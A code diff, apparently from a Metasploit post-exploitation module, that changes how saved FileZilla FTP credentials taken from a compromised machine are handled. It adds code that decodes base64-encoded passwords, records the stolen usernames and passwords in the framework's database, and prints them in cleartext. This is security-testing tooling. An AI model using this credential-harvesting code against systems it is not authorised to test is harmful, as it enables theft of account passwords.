@@ -103,6 +103,44 @@ def check_filezilla(filezilladir)
103
103
return nil
104
104
end
105
105
106
+
107
+ def report_cred ( opts )
108
+ service_data = {
109
+ address : opts [ :ip ] ,
110
+ port : opts [ :port ] ,
111
+ service_name : opts [ :service_name ] ,
112
+ protocol : 'tcp' ,
113
+ workspace_id : myworkspace_id
114
+ }
115
+
116
+ credential_data = {
117
+ module_fullname : fullname ,
118
+ post_reference_name : self . refname ,
119
+ session_id : session_db_id ,
120
+ origin_type : :session ,
121
+ private_data : opts [ :password ] ,
122
+ private_type : :password ,
123
+ username : opts [ :user ]
124
+ } . merge ( service_data )
125
+
126
+ login_data = {
127
+ core : create_credential ( credential_data ) ,
128
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
129
+ } . merge ( service_data )
130
+
131
+ create_credential_login ( login_data )
132
+ end
133
+
134
+ def is_base64? ( str )
135
+ str . match ( /^([A-Za-z0-9+\/ ]{4})*([A-Za-z0-9+\/ ]{4}|[A-Za-z0-9+\/ ]{3}=|[A-Za-z0-9+\/ ]{2}==)$/ ) ? true : false
136
+ end
137
+
138
+
139
+ def try_decode_password ( str )
140
+ is_base64? ( str ) ? Rex ::Text . decode_base64 ( str ) : str
141
+ end
142
+
143
+
106
144
def get_filezilla_creds ( paths )
107
145
108
146
sitedata = ""
@@ -155,14 +193,14 @@ def get_filezilla_creds(paths)
155
193
else
156
194
source_id = nil
157
195
end
158
- report_auth_info (
159
- :host => loot [ 'host' ] ,
160
- :port => loot [ 'port ' ] ,
161
- :sname => 'ftp' ,
162
- :source_id => source_id ,
163
- :source_type => "exploit" ,
164
- :user => loot [ 'user' ] ,
165
- :pass => loot [ 'password' ] )
196
+
197
+ report_cred (
198
+ ip : loot [ 'host ' ] ,
199
+ port : loot [ 'port' ] ,
200
+ service_name : 'ftp' ,
201
+ username : loot [ 'user' ] ,
202
+ password : try_decode_password ( loot [ 'password' ] )
203
+ )
166
204
end
167
205
end
168
206
end
@@ -214,7 +252,7 @@ def parse_accounts(data)
214
252
print_status ( " Server: %s:%s" % [ account [ 'host' ] , account [ 'port' ] ] )
215
253
print_status ( " Protocol: %s" % account [ 'protocol' ] )
216
254
print_status ( " Username: %s" % account [ 'user' ] )
217
- print_status ( " Password: %s" % account [ 'password' ] )
255
+ print_status ( " Password: %s" % try_decode_password ( account [ 'password' ] ) )
218
256
print_line ( "" )
219
257
end
220
258
return creds
0 commit comments